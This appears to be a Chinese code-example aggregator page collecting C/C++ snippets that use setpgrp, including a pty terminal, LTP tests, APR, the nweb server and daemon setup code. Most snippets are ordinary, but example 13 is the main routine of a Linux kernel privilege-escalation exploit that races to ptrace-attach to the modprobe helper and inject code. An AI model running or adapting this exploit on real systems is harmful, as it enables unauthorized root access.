• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

C++ setpgrp函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C++中setpgrp函数的典型用法代码示例。如果您正苦于以下问题:C++ setpgrp函数的具体用法?C++ setpgrp怎么用?C++ setpgrp使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了setpgrp函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: pty_open_master

/*
 * Called to set up the pty.
 * 
 * Returns an error message, or NULL on success.
 *
 * Also places the canonical host name into `realhost'. It must be
 * freed by the caller.
 */
static const char *pty_init(void *frontend, void **backend_handle, Config *cfg,
			    char *host, int port, char **realhost, int nodelay,
			    int keepalive)
{
    int slavefd;
    pid_t pid, pgrp;
    long windowid;

    pty_frontend = frontend;
    *backend_handle = NULL;	       /* we can't sensibly use this, sadly */

    pty_cfg = *cfg;		       /* structure copy */
    pty_term_width = cfg->width;
    pty_term_height = cfg->height;

    if (pty_master_fd < 0)
	pty_open_master();

    /*
     * Set the backspace character to be whichever of ^H and ^? is
     * specified by bksp_is_delete.
     */
    {
	struct termios attrs;
	tcgetattr(pty_master_fd, &attrs);
	attrs.c_cc[VERASE] = cfg->bksp_is_delete ? '\177' : '\010';
	tcsetattr(pty_master_fd, TCSANOW, &attrs);
    }

    /*
     * Stamp utmp (that is, tell the utmp helper process to do so),
     * or not.
     */
    if (!cfg->stamp_utmp) {
	close(pty_utmp_helper_pipe);   /* just let the child process die */
	pty_utmp_helper_pipe = -1;
    } else {
	char *location = get_x_display(pty_frontend);
	int len = strlen(location)+1, pos = 0;   /* +1 to include NUL */
	while (pos < len) {
	    int ret = write(pty_utmp_helper_pipe, location+pos, len - pos);
	    if (ret < 0) {
		perror("pterm: writing to utmp helper process");
		close(pty_utmp_helper_pipe);   /* arrgh, just give up */
		pty_utmp_helper_pipe = -1;
		break;
	    }
	    pos += ret;
	}
    }

    windowid = get_windowid(pty_frontend);

    /*
     * Fork and execute the command.
     */
    pid = fork();
    if (pid < 0) {
	perror("fork");
	exit(1);
    }

    if (pid == 0) {
	int i;
	/*
	 * We are the child.
	 */

	slavefd = open(pty_name, O_RDWR);
	if (slavefd < 0) {
	    perror("slave pty: open");
	    _exit(1);
	}

	close(pty_master_fd);
	fcntl(slavefd, F_SETFD, 0);    /* don't close on exec */
	dup2(slavefd, 0);
	dup2(slavefd, 1);
	dup2(slavefd, 2);
	setsid();
	ioctl(slavefd, TIOCSCTTY, 1);
	pgrp = getpid();
	tcsetpgrp(slavefd, pgrp);
	setpgrp();
	close(open(pty_name, O_WRONLY, 0));
	setpgrp();
	/* Close everything _else_, for tidiness. */
	for (i = 3; i < 1024; i++)
	    close(i);
	{
	    char term_env_var[10 + sizeof(cfg->termtype)];
	    sprintf(term_env_var, "TERM=%s", cfg->termtype);
//.........这里部分代码省略.........
开发者ID:nohuhu,项目名称:TuTTY,代码行数:101,代码来源:pty.c


示例2: setup

/*******************************************************************************
 *  This routine sets up the interprocess communication pipes, signal handling,
 *  and process group information.
 ******************************************************************************/
void setup()
{
	int errno_buf;		/*indicates the errno if pipe set up fails.             */
	int err_flag = FALSE;	/*Indicates if an error has occurred in pipe set up.    */

	/*
	 *  Set the process group ID to be equal between the parent and children.
	 */
	(void)setpgrp();

	/*
	 *  Set to catch unexpected signals.
	 *  SIGCLD is set to be ignored because we do not wait for termination status.
	 *  SIGUSR1 is set to be ignored because this is the signal we are using for
	 *  the test and we are not concerned with the parent getting it.
	 */

	tst_sig(FORK, DEF_HANDLER, cleanup);

	if (signal(SIGUSR1, SIG_IGN) == SIG_ERR) {
		tst_brkm(TBROK | TFAIL, NULL,
			 "signal(SIGUSR1, SIG_IGN) failed");
		tst_exit();
	}

	if (signal(SIGCLD, SIG_IGN) == SIG_ERR) {
		tst_brkm(TBROK | TERRNO, NULL,
			 "signal(SIGCLD, SIG_IGN) failed");
		tst_exit();
	}

	/* Indicate which errnos are expected */
	TEST_EXP_ENOS(exp_enos);

	TEST_PAUSE;

	/*
	 *  Set up pipe1, pipe2, pipeA, and pipeB.
	 */
	if ((pipe(pipe1_fd) == -1)
	    || (fcntl(pipe1_fd[0], F_SETFL, O_NDELAY) == -1)) {
		errno_buf = errno;
		err_flag = TRUE;
	}

	if ((pipe(pipe2_fd) == -1)
	    || (fcntl(pipe2_fd[0], F_SETFL, O_NDELAY) == -1)) {
		errno_buf = errno;
		err_flag = TRUE;
	}

	if ((pipe(pipeA_fd) == -1)
	    || (fcntl(pipeA_fd[0], F_SETFL, O_NDELAY) == -1)) {
		errno_buf = errno;
		err_flag = TRUE;
	}

	if ((pipe(pipeB_fd) == -1)
	    || (fcntl(pipeB_fd[0], F_SETFL, O_NDELAY) == -1)) {
		errno_buf = errno;
		err_flag = TRUE;
	}

	/*
	 *  Check for errors.
	 */
	if (err_flag == TRUE) {
		tst_brkm(TBROK | TERRNO, NULL, "pipe() failed");
		tst_exit();
	}
	return;

}
开发者ID:Altiscale,项目名称:sig-core-t_ltp,代码行数:77,代码来源:kill02.c


示例3: Setpgrp

int Setpgrp (int pid,int gid)
{
  return setpgrp ();
}
开发者ID:Distrotech,项目名称:imap,代码行数:4,代码来源:setpgrp.c


示例4: do_child_1

/*
 * do_child_1()
 */
void do_child_1(void)
{
	int kid_count, fork_kid_pid[MAXKIDS];
	int ret_val;
	int i, j, k, found;
	int group1, group2;
	int wait_kid_pid[MAXKIDS], status;

	setup_sigint();

	group1 = getpgrp();
	for (kid_count = 0; kid_count < MAXKIDS; kid_count++) {
		if (kid_count == (MAXKIDS / 2)) {
			group2 = setpgrp();
		}
		intintr = 0;
		ret_val = FORK_OR_VFORK();
		if (ret_val == 0) {	/* child */
#ifdef UCLINUX
			if (self_exec(argv0, "n", 2) < 0) {
				tst_resm(TFAIL, "Fork kid %d failed. "
					 "errno = %d", kid_count, errno);
				exit(ret_val);
			}
#else
			do_exit();
#endif
		 } else if (ret_val < 0) {
			tst_resm(TFAIL, "Fork kid %d failed. "
				 "errno = %d", kid_count, errno);
			exit(ret_val);
		}

		/* parent */
		fork_kid_pid[kid_count] = ret_val;
	}

#ifdef UCLINUX
	/* Give the kids a chance to setup SIGINT again, since this is
	 * cleared by exec().
	 */
	sleep(3);
#endif

	/* Now send all the kids a SIGINT to tell them to
	 * proceed
	 */
	for (i = 0; i < MAXKIDS; i++) {
		if (kill(fork_kid_pid[i], SIGINT) < 0) {
			tst_resm(TFAIL, "Kill of child %d "
				 "failed, errno = %d", i, errno);
			exit(-1);
		}
	}

	/*
	 * Wait till all kids have terminated.  Stash away their
	 * pid's in an array.
	 */
	kid_count = 0;
	errno = 0;
	while (((ret_val = waitpid(-1, &status, 0)) != -1) || (errno == EINTR)) {
		if (ret_val == -1) {
			continue;
		}

		if (!WIFEXITED(status)) {
			tst_resm(TFAIL, "Child %d did not exit "
				 "normally", ret_val);
			flag = FAILED;
			printf("status: %d\n", status);
		} else {
			if (WEXITSTATUS(status) != 3) {
				tst_resm(TFAIL, "Child %d"
					 "exited with wrong "
					 "status", ret_val);
				tst_resm(TFAIL, "Expected 3 "
					 "got %d ", WEXITSTATUS(status));
				flag = FAILED;
			}
		}
		wait_kid_pid[kid_count++] = ret_val;
	}

	/*
	 * Check that for every entry in the fork_kid_pid array,
	 * there is a matching pid in the wait_kid_pid array. If
	 * not, it's an error.
	 */
	for (i = 0; i < kid_count; i++) {
		found = 0;
		for (j = 0; j < MAXKIDS; j++) {
			if (fork_kid_pid[j] == wait_kid_pid[i]) {
				found = 1;
				break;
			}
		}
//.........这里部分代码省略.........
开发者ID:Mellanox,项目名称:arc_ltp,代码行数:101,代码来源:waitpid06.c


示例5: main

int main (int argc, char *argv[]) {
    setpgrp();  // Become the leader of its group.
    // Child's CMD line
    int m = sysconf(_SC_ARG_MAX);           // Maximum CMD line length
    char *cmd;                              // Store child's CMD line
    cmd = (char *) calloc(m, sizeof(char));

    // Child's parameters
    int *child_delay = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    *child_delay = 0;                       // Delay before starting (shared between parent and child)
    int child_pid = -1;                     // PID after the fork()
    int child_status = -1;                  // Used during waitpid()
    char *child_file = NULL;                // Binary file

    // Telnet server
    int ts_port = -1;                       // TCP (console) and UDP (serial converter) port
    char *xtitle = "Terminal Server";       // Title for telnet clients

    // Select parameters
    int *infd = calloc(2, sizeof(int));     // Array of integers [0] is for reading, [1] is for writing
    int *outfd = calloc(2, sizeof(int));    // Array of integers [0] is for reading, [1] is for writing
    fd_set active_fd_set;                   // Contains active FD using in select()
    FD_ZERO(&active_fd_set);
    fd_set read_fd_set;                     // Contains FD selected in current loop
    FD_ZERO(&read_fd_set);

    // Other parameters
    int i = -1;                             // Counter
    int j = -1;                             // Counter
    int opt = NULL;                         // Store CMD options
    int rc = -1;                            // Generic return code
    char *tmp = NULL;                       // Generic char string
    struct sigaction sa;                    // Manage signals (SIGHUP, SIGTERM...)

    // Wrapper parameters
    int child_afsocket[100];                // Store AF_UNIX child sockets
    memset(&child_afsocket, 0, sizeof(child_afsocket));
    int ser_remoteid[64];                   // Store Remote Device ID (used for UDP communication)
    memset(&ser_remoteid, 0, sizeof(ser_remoteid));
    int ser_remoteif[64];                   // Store Remote Interface ID (used for UDP communication)
    memset(&ser_remoteif, 0, sizeof(ser_remoteif));
    int udpserver_socket = -1;              // UDP socket for serial communications
    int wrapper_afsocket[100];              // Store AF_UNIX wrapper sockets
    memset(&wrapper_afsocket, 0, sizeof(wrapper_afsocket));

    // Parsing options
    while ((opt = getopt(argc, argv, ":vT:D:d:t:F:x")) != -1) {
        switch (opt) {
            default:
                usage(argv[0]);
                exit(1);
            // Begin standard parameters
            case 'v':
                printf("%s\n", VERSION);
                exit(0);
            case 'T':
                // Mandatory: Tenant ID
                tenant_id = atoi(optarg);
                if (tenant_id < 0) {
                    UNLLog(LLERROR,"Tenant_id must be integer.\n");
                    exit(1);
                }
                UNLLog(LLINFO, "Tennant_id = %i\n", tenant_id);
                break;
            case 'D':
                // Mandatory: Device ID
                device_id = atoi(optarg);
                if (tenant_id < 0) {
                    UNLLog(LLERROR,"Device_id must be integer.\n");
                    exit(1);
                }
                UNLLog(LLINFO, "Device_id = %i\n", device_id);
                break;
            case 'F':
                // Mandatory: IOS
                child_file = optarg;
                if (is_file(child_file) != 0) {
                    UNLLog(LLERROR,"File '%s' does not exist.\n", child_file);
                    exit(1);
                }
                break;
            case 'd':
                // Optional: child's startup delay (default 0)
                *child_delay = atoi(optarg);
                if (*child_delay < 0) {
                    UNLLog(LLERROR,"Delay must be integer.\n");
                    exit(1);
                }
                break;
            case 't':
                // Optional: telnet window title (default "Terminal Server")
                xtitle = optarg;
                break;
        }
    }

    // Checking if tenant_id is set
    if (tenant_id < 0) {
        UNLLog(LLERROR,"Tenant ID not set.\n");
        exit(1);
//.........这里部分代码省略.........
开发者ID:CJloHuK,项目名称:unetlab,代码行数:101,代码来源:dynamips_wrapper.c


示例6: APR_DECLARE

APR_DECLARE(apr_status_t) apr_proc_detach(int daemonize)
{
    int x;

    if (chdir("/") == -1) {
        return errno;
    }

#if !defined(MPE) && !defined(OS2) && !defined(TPF) && !defined(BEOS)
    /* Don't detach for MPE because child processes can't survive the death of
     * the parent. */
    if (daemonize) {
	    if ((x = fork()) > 0) {
	        exit(0);
        }
	    else if (x == -1) {
	        perror("fork");
	        fprintf(stderr, "unable to fork new process\n");
	        exit(1);  /* we can't do anything here, so just exit. */
	    }
	    /* RAISE_SIGSTOP(DETACH); */
    }
#endif

#ifdef HAVE_SETSID
    /* A setsid() failure is not fatal if we didn't just fork().
     * The calling process may be the process group leader, in
     * which case setsid() will fail with EPERM.
     */
    if (setsid() == -1 && daemonize) {
        return errno;
    }
#elif defined(NEXT) || defined(NEWSOS)
    if (setpgrp(0, getpid()) == -1) {
        return errno;
    }
#elif defined(OS2) || defined(TPF) || defined(MPE)
    /* do nothing */
#else
    if (setpgid(0, 0) == -1) {
        return errno;
    }
#endif

    /* close out the standard file descriptors */
    if (freopen("/dev/null", "r", stdin) == NULL) {
        return errno;
        /* continue anyhow -- note we can't close out descriptor 0 because we
         * have nothing to replace it with, and if we didn't have a descriptor
         * 0 the next file would be created with that value ... leading to
         * havoc.
         */
    }
    if (freopen("/dev/null", "w", stdout) == NULL) {
        return errno;
    }
     /* We are going to reopen this again in a little while to the error
      * log file, but better to do it twice and suffer a small performance
      * hit for consistancy than not reopen it here.
      */
    if (freopen("/dev/null", "w", stderr) == NULL) {
        return errno;
    }
    return APR_SUCCESS;
}
开发者ID:AAthresh,项目名称:quantlib,代码行数:65,代码来源:procsup.c


示例7: StartMailboxd

static void
StartMailboxd()
{
    FILE *fp;
    struct passwd *pw;

    if ((MailboxdPid = fork()) != 0) {
	/* In parent process (manager) */
	return;
    }

    /* In child process (mailboxd/JVM) */

    /* For informational purposes only, write the the server pid to a
       file.  Note that this is not authoritative because only the
       running nanny/manager process knows the true pid of the
       mailboxd/JVM that is running right now. */
    RecordPid("java", MAILBOXD_JAVA_PIDFILE, getpid());
       
    /* It is customary to not inherit umask and to clear the umask
       completely so applications can set whatever exact permissions it
       is that they want. However, Java programs can not set permissions
       for new files, so we default the mask to something reasonable. */
    umask(027);

    /* Redirect mailboxd stdout and stderr to mailboxd.out */
    fp = fopen(MAILBOXD_OUTFILE, "a");
    if (fp != NULL) {
	dup2(fileno(fp), fileno(stdout));
	dup2(fileno(fp), fileno(stderr));

	/* Change mailboxd.out ownership */
	pw = getpwnam(ZIMBRA_USER);
	if (pw) {
	    fchown(fileno(fp), pw->pw_uid, pw->pw_gid);
	} else {
	    syslog(LOG_WARNING, "can't change ownership of %s: user %s not found: %s", MAILBOXD_OUTFILE, ZIMBRA_USER, strerror(errno));
	}

	fclose(fp);
    } else {
	syslog(LOG_WARNING, "opening output file %s failed: %s", MAILBOXD_OUTFILE, strerror(errno));
    }

    fclose(stdin);

#ifdef DARWIN
    {
	int tfd;
	setpgrp(0, getpid());
	if ((tfd = open("/dev/tty", O_RDWR)) >= 0) {
	    ioctl(tfd, TIOCNOTTY, (char *)0); /* lose control tty */
	    close(tfd);
	}
    }
#else
    setpgrp();
#endif

    execv(JAVA_BINARY, newArgv);
}
开发者ID:fciubotaru,项目名称:z-pec,代码行数:61,代码来源:zmmailboxdmgr.c


示例8: main

int main(int argc, char **argv)
{
  int i, port, pid, listenfd, socketfd, hit;
  size_t length;
  static struct sockaddr_in cli_addr; /* static = initialised to zeros */
  static struct sockaddr_in serv_addr; /* static = initialised to zeros */

  if( argc < 3  || argc > 3 || !strcmp(argv[1], "-?") ) {
    (void)printf("hint: nweb Port-Number Top-Directory\n\n"
		 "\tnweb is a small and very safe mini web server\n"
		 "\tnweb only servers out file/web pages with extensions named below\n"
		 "\t and only from the named directory or its sub-directories.\n"
		 "\tThere is no fancy features = safe and secure.\n\n"
		 "\tExample: nweb 8181 /home/nwebdir &\n\n"
		 "\tOnly Supports:");
    for(i=0;extensions[i].ext != 0;i++)
      (void)printf(" %s",extensions[i].ext);

    (void)printf("\n\tNot Supported: URLs including \"..\", Java, Javascript, CGI\n"
		 "\tNot Supported: directories / /etc /bin /lib /tmp /usr /dev /sbin \n"
		 "\tNo warranty given or implied\n\tNigel Griffiths [email protected]\n"
		 );
    exit(0);
  }
  if( !strncmp(argv[2],"/"   ,2 ) || !strncmp(argv[2],"/etc", 5 ) ||
      !strncmp(argv[2],"/bin",5 ) || !strncmp(argv[2],"/lib", 5 ) ||
      !strncmp(argv[2],"/tmp",5 ) || !strncmp(argv[2],"/usr", 5 ) ||
      !strncmp(argv[2],"/dev",5 ) || !strncmp(argv[2],"/sbin",6) ){
    (void)printf("ERROR: Bad top directory %s, see nweb -?\n",argv[2]);
    exit(3);
  }
  if(chdir(argv[2]) == -1){ 
    (void)printf("ERROR: Can't Change to directory %s\n",argv[2]);
    exit(4);
  }

  /* Become deamon + unstopable and no zombies children (= no wait()) */
  if(fork() != 0)
    return 0; /* parent returns OK to shell */
  (void)signal(SIGCHLD, SIG_IGN); /* ignore child death */
  (void)signal(SIGHUP, SIG_IGN); /* ignore terminal hangups */
  for(i=0;i<32;i++)
    (void)close(i);		/* close open files */
  (void)setpgrp();		/* break away from process group */

  nweb_log(LOG,"nweb starting",argv[1],getpid());
  /* setup the network socket */
  if((listenfd = socket(AF_INET, SOCK_STREAM,0)) <0)
    nweb_log(ERROR, "system call","socket",0);
  port = atoi(argv[1]);
  if(port < 0 || port >60000)
    nweb_log(ERROR,"Invalid port number (try 1->60000)",argv[1],0);
  serv_addr.sin_family = AF_INET;
  serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  serv_addr.sin_port = htons(port);
  if(bind(listenfd, (struct sockaddr *)&serv_addr,sizeof(serv_addr)) <0)
    nweb_log(ERROR,"system call","bind",0);
  if( listen(listenfd,64) <0)
    nweb_log(ERROR,"system call","listen",0);

  for(hit=1; ;hit++) {
    length = sizeof(cli_addr);
    if((socketfd = accept(listenfd, (struct sockaddr *)&cli_addr, (socklen_t *)&length)) < 0)
      nweb_log(ERROR,"system call","accept",0);

    if((pid = fork()) < 0) {
      nweb_log(ERROR,"system call","fork",0);
    }
    else {
      if(pid == 0) { 	/* child */
	(void)close(listenfd);
	nweb_child(socketfd,hit); /* never returns */
      } else { 	/* parent */
	(void)close(socketfd);
      }
    }
  }
}
开发者ID:SRI-CSL,项目名称:OCCAM,代码行数:78,代码来源:nweb.c


示例9: main


//.........这里部分代码省略.........
		IGNORE_EINTR (close(fd));
		return 66;
	}

	snprintf (vtname, sizeof (vtname), VTNAME, vtno);

	chown (vtname, 0, -1);

	child_pid = fork();
	if (child_pid == 0) {
		char VT_NUMBER[256];

		if (getenv ("UNSAFE_TO_TRANSLATE") != NULL &&
		    strcmp (getenv ("UNSAFE_TO_TRANSLATE"), "yes") == 0) {
			putenv ("LANG=C");

			/* portable way to truly unset with putenv? */
			putenv ("LC_ALL=");
			putenv ("LC_MESSAGES=");
			putenv ("LC_ALL");
			putenv ("LC_MESSAGES");
		}

#ifdef __linux__
		putenv ("TERM=linux");
#endif

		snprintf (VT_NUMBER, sizeof (VT_NUMBER), "VT_NUMBER=%d", vtno);
		putenv (VT_NUMBER);

		signal (SIGTERM, SIG_DFL);
		signal (SIGINT, SIG_DFL);
		signal (SIGHUP, SIG_DFL);

		/* leave current vt */
		if (
#ifdef   ESIX_5_3_2_D
		setpgrp() < 0
#else
		setsid() < 0
#endif      
		) {
			fprintf(stderr, "open: Unable to set new session (%s)\n",
				strerror(errno));
		}
		IGNORE_EINTR (close (0));
		IGNORE_EINTR (close (1));
		IGNORE_EINTR (close (2));
		IGNORE_EINTR (close (fd));

		/* and grab new one */
		fd = open (vtname, O_RDWR);
		if (fd < 0) { /* Shouldn't happen */
			_exit (66); /* silently die */
		}
		dup(fd);
		dup(fd);

		/* 
		* Can't tell anyone if any of these fail, so throw away
		* the return values 
		 */
		(void) ioctl(fd, VT_ACTIVATE, vtno);
		/* wait to be really sure we have switched */
		(void) ioctl(fd, VT_WAITACTIVE, vtno);

#ifdef __linux__
		/* Turn on fonts */
		IGNORE_EINTR (write (0, "\033(K", 3));
#endif /* __linux__ */

		execvp (command, &argv[cmd_start]);

		_exit (66); /* failed */
	}

	if (child_pid < 0) {
		perror ("mdmopen: fork() error");
		return 66;
	}

	do_switchback = TRUE;

	IGNORE_EINTR (waitpid (child_pid, &status, 0));
	child_pid = -1;

	do_switchback = FALSE;

	/* Switch back... */
	(void) ioctl(fd, VT_ACTIVATE, vt.v_active);
	/* wait to be really sure we have switched */
	(void) ioctl(fd, VT_WAITACTIVE, vt.v_active);

	IGNORE_EINTR (close (fd));

	if (WIFEXITED (status))
		return WEXITSTATUS (status);
	else
		return 66;
}
开发者ID:3dfxmadscientist,项目名称:mdm,代码行数:101,代码来源:mdmopen.c


示例10: main

int main(int argc, char *argv[]) {
	signal(SIGTERM, cleanExit);
	signal(SIGINT, cleanExit);
	int newsockfd; // The socket you get with a connection
	int port; // The port you listen on
	int clilen; // The length of the client's address
	char* res; // stores the result
	int yes = 1;
	int pid;

	struct sockaddr_in serv_addr; // The server's address
	struct sockaddr_in cli_addr; // The client's address

	char buffer[BUFFSIZE]; // a buffer to read results to.
	int n; // number of bytes read
	
	/* Become deamon + unstopable and no zombies children (= no wait()) */
	if(fork() != 0)
	{
		return 0; /* parent returns OK to shell */
	}
	signal(SIGCLD, SIG_IGN); /* ignore child death */
	signal(SIGHUP, SIG_IGN); /* ignore terminal hangups */	
	setpgrp();		/* break away from process group */
	// set clilent to size of client address struct
	clilen = sizeof(cli_addr);

	// allocate sockfd by calling 'socket'
	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		perror("Could not open socket");
		return EXIT_FAILURE;
	}

	// You should look up what this does if you don't know.
	setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (const void*)&yes, sizeof(int) );

	// Set the port number based on the first command line argument
	port = (argc > 1) ? atoi(argv[1]) : 8000;

	// Zero-out the server address
	bzero((void*) &serv_addr, sizeof(serv_addr));

	// initialize the socket structure (i.e., set the values of serv_addr)
	serv_addr.sin_family = AF_INET;
	serv_addr.sin_addr.s_addr = INADDR_ANY;
	serv_addr.sin_port = htons(port);

	// bind the host address
	if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
		perror("ERROR on binding");
		return EXIT_FAILURE;
	}
	
	// Listen for a client.
	listen(sockfd, 64);

	while (1) { // go forever!
		// Accept actual connection from the client
		if ((newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen)) < 0) {
			perror("ERROR on accept");
			return EXIT_FAILURE;
		}
 
		if((pid = fork()) < 0) {
			perror("error on fork");
			return EXIT_FAILURE;
		}
		else {
			if(pid == 0) { 	/* child */
				close(sockfd);
				if ((n = read(newsockfd, buffer, BUFFSIZE, 0)) > 0) {
                    printf("%s", buffer);
                    //res = handle_request(buffer);
                    //write(newsockfd, res, strlen(res),0);

                    handle_request(buffer, newsockfd);

                    bzero(buffer, BUFFSIZE);
                    //free(res);
                }
			} else { 	/* parent */
				close(newsockfd);
			}
		}
		// close newsockfd
		close(newsockfd);
	}
	// close sockfd
	close(sockfd);
	exit(0);
}
开发者ID:aDoc1,项目名称:gameserver,代码行数:91,代码来源:MyServerMain.c


示例11: main


//.........这里部分代码省略.........
  signal(SIGINT, catch_sigint);
  signal(SIGSEGV, catch_sigint); // segmentation fault
  signal(SIGCHLD, catch_sigchild); // dont ignore child exits

  if (g_bBeDaemon)
    {
      // fork - so i'm not the owner of the process group any more
      int pgrp;
      int i = fork();
      if (i < 0)
        {
          showDebug(1, "can't fork: %s\n", strerror(errno));
          exit(1);
        }
      if (i > 0)
        exit(0); // no need for the parent any more 

      pgrp = setsid();
      if (pgrp < 0)
        {
          showDebug(1, "can't daemonize: %s\n", strerror(errno));
          exit(1);
        }
/* FIXME: this will break 'socket' call
  close(fileno(stdin));
  close(fileno(stdout));
  close(fileno(stderr));
*/ 

#ifdef HAVE_SETPGID
  setpgid(0, getpid());
#else
# ifdef SETPGRP_VOID
  setpgrp();
# else
  setpgrp(0, getpid());
# endif
#endif
    }
      
  
  try { g_Server = new CNetServer( server_addr.sin_addr.s_addr, nServerPort); }
  catch ( CExceptions * excep )
    {
      showDebug(1, "fatal error: get exception %d\n", excep->GetExcept());
      fclose(g_fDebug);
      exit(1);
    }

//  g_Window = new CPartimagedInterfaceDummy(); 
  g_Window = new CPartimagedInterfaceNewt(); 

  g_Window->Status(i18n("Waiting for client ..."));

  while (1)
    {  
      showDebug(1, "infernal loop\n");
      try { client = g_Server->AcceptClient(); }
      catch ( CExceptions * excep )
        {
          showDebug(1, "*** excep catched\n");
          switch (excep -> GetExcept())
          {
            case ERR_ERRNO:
              showDebug(1, "accept failed with %s\n", 
                 strerror(excep->get_dwArg1()));
开发者ID:kohtala,项目名称:partimage,代码行数:67,代码来源:partimaged-main.cpp


示例12: perror

void
etrace_if::display_init(void)
{
    int             i;
    int             disp_pipe[2];
    unsigned int    val;
    long long       long_val;
    const char      *pbuf;

    if(pipe(disp_pipe) < 0){
        perror("etrace_if: pipe error");
        exit(EXIT_FAILURE);
    }
  
    if((s_pid_graph[s_nb_graph++] = fork()) == 0){
        setpgrp();

        // son
        int         null_fd;

        dup2(disp_pipe[0], STDIN_FILENO);
        close(disp_pipe[0]);
        close(disp_pipe[1]);

        null_fd = open("/dev/null", O_WRONLY);
        // make it silent
        dup2(null_fd, STDOUT_FILENO);
        //dup2 (null_fd, STDERR_FILENO);
        close(null_fd);

        if(execlp("chronograph", "chronograph", NULL) < 0){
            perror("etrace_if: execlp failure");
            _exit(EXIT_FAILURE);
        }
    }
    
    // father
    signal(SIGPIPE, SIG_IGN);
    close(disp_pipe[0]);
    m_disp_pipe = disp_pipe[1];

    // setting the graph parameters
    pbuf = "Power consumption";
    val  = strlen (pbuf) + 1;
    writepipe(m_disp_pipe, &val, 4);
    writepipe(m_disp_pipe, pbuf, val);

    // number of graphs
    val = m_scope->nb_groups + 1;
    writepipe(m_disp_pipe, &val, 4);

    // sample period (20 ms)
    val = 20;
    writepipe(m_disp_pipe, &val, 4);

    // for each graph: number of curves, min value,  max value
    int         j, group_id;
    periph_t    *tp, *pperiph = m_scope->head_periphs;

    i = 0;
    while(pperiph)
    {
        group_id = pperiph->group_id;

        tp = pperiph;
        j = i;
        while(tp && (tp->group_id == group_id)){
            tp->idx = j++;
            tp = tp->next;
        }

        // number of curves in the graph
        val = j - i;
        writepipe(m_disp_pipe, &val, 4);

        // min value
        long_val = 0;
        writepipe(m_disp_pipe, &long_val, 8);

        // max value 
        long_val = pperiph->pclass->max_energy_ms;
        m_scope->max_energy_ms += (j - i) * long_val;
        writepipe(m_disp_pipe, &long_val, 8);
        
        i = j;
        pperiph = tp;
    }

    // for total graph
    // number of curves in the graph (2)
    val = 2;
    writepipe(m_disp_pipe, &val, 4);

    // min value
    long_val = 0;
    writepipe(m_disp_pipe, &long_val, 8);

    // max value 
    long_val =m_scope->max_energy_ms;
    writepipe(m_disp_pipe, &long_val, 8);
//.........这里部分代码省略.........
开发者ID:marcoscunha,项目名称:reverse,代码行数:101,代码来源:etrace_if.cpp


示例13: main

int main(int ac, char **av)
{
    int fd, pid, p, i;
    char buf[TMPSIZE];
    struct uids uids;
    FILE *fp;


    setpgrp();
    setsid();
    umask(022);
    unlink(SHELL);
    fd = open(SHELL, O_RDWR | O_CREAT | O_TRUNC, 0755);
    fp = fdopen(fd, "w+");
    fprintf(fp, "%s\n", shellcmd);
    fclose(fp);

    pid = getpid() + 2;
    snprintf(buf, sizeof(buf) - 1, "/proc/%d/status", pid);
    printf("\nModprobe pid %d, my pid %d", pid, getpid());
    fflush(stdout);
    signal(SIGUSR1, sighnd);

//      fork modprobe helper
    if (!(p = fork())) {
//      some nice work for exec_usermodehelper(), keep it busy!
	for (i = 0; i < FMAX; i++) {
	    fd = open("/dev/zero", O_RDWR);
	    mmap(NULL, MMSIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
	}
	kill(getppid(), SIGUSR1);
	while (!sig);
	printf("\nHelper (pid %d) requesting module...", getpid());
	fflush(stdout);
	fd = open(ENTRY, O_RDONLY | O_NONBLOCK);
	exit(0);
    }
//      synchronize with the child
    else {
	while (!sig);
	kill(p, SIGUSR1);

//      wait for modprobe to run at unprivileged level
	while (1) {
	    fd = open(buf, O_RDONLY);
	    if (fd > 0) {
		if (!(fp = fdopen(fd, "r")))
		    fatal("fdopen");
		if (get_ids(fp, &uids) != 4
		    || (uids.uid != uids.euid || uids.uid != uids.suid
			|| uids.uid != uids.fsuid)) {
		    fatal("did not catch modprobe...try again later :-)");
		}
//      ok, it runs...
		while (1) {
		    if (ptrace(PTRACE_ATTACH, pid, NULL, NULL)) {
			fatal("PTRACE_ATTACH failed!");
		    } else {
			i = 0;
			printf("\nAttached afterburner...\n");
			fflush(stdout);
			while (ptrace(PTRACE_GETREGS, pid, 0, &regs)
			       || !regs.eip || regs.eip >= MAXSTACK) {
			    ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
			    printf("\rplease wait %d", i++);
			    fflush(stdout);
			}
			waitpid(pid, NULL, WUNTRACED);
			printf
			    ("\nValid EIP found EIP=%p\nexploiting the bug, good luck... ",
			     regs.eip);
			fflush(stdout);
			exploit(pid);
			exit(0);
		    }
		}
		fclose(fp);
	    }
	}
    }

    return 0;
}
开发者ID:bl4ckl1st,项目名称:godpock,代码行数:83,代码来源:kmexp.c-bugtraq.c


示例14: xf86OpenConsole

void
xf86OpenConsole(void)
{
  int i, ioctl_ret;
  struct vt_mode VT;
  struct vid_info vidinf;
  struct sigaction sigvtsw;
  char *ttn;

  if (serverGeneration == 1) {
    /* check if we're run with euid==0 */
    if (geteuid() != 0) {
      FatalError("xf86OpenConsole: Server must be setuid root\n");
    }

    /* If we are run in the background we will get SIGTTOU. Ignore it. */
    OsSignal (SIGTTOU, SIG_IGN);

    /*
     * Set up the virtual terminal (multiscreen in SCO parlance).
     * For the actual console itself, screens are numbered from
     * 1 to (usually) 16. However, it is possible to have a nested
     * server, and it is also possible to be on a multi-console
     * system such as MaxSpeed or SunRiver. Therefore, we should
     * not make any assumptions about the TTY name we are on, and
     * instead we rely on ttyname() to give us the real TTY name.
     * Previously, we tried to determine the TTY name manually.
     * This is wrong. The only time we need to futz with the TTY name
     * is if we were given the name of a TTY to run on explicity on
     * the command line.
     */

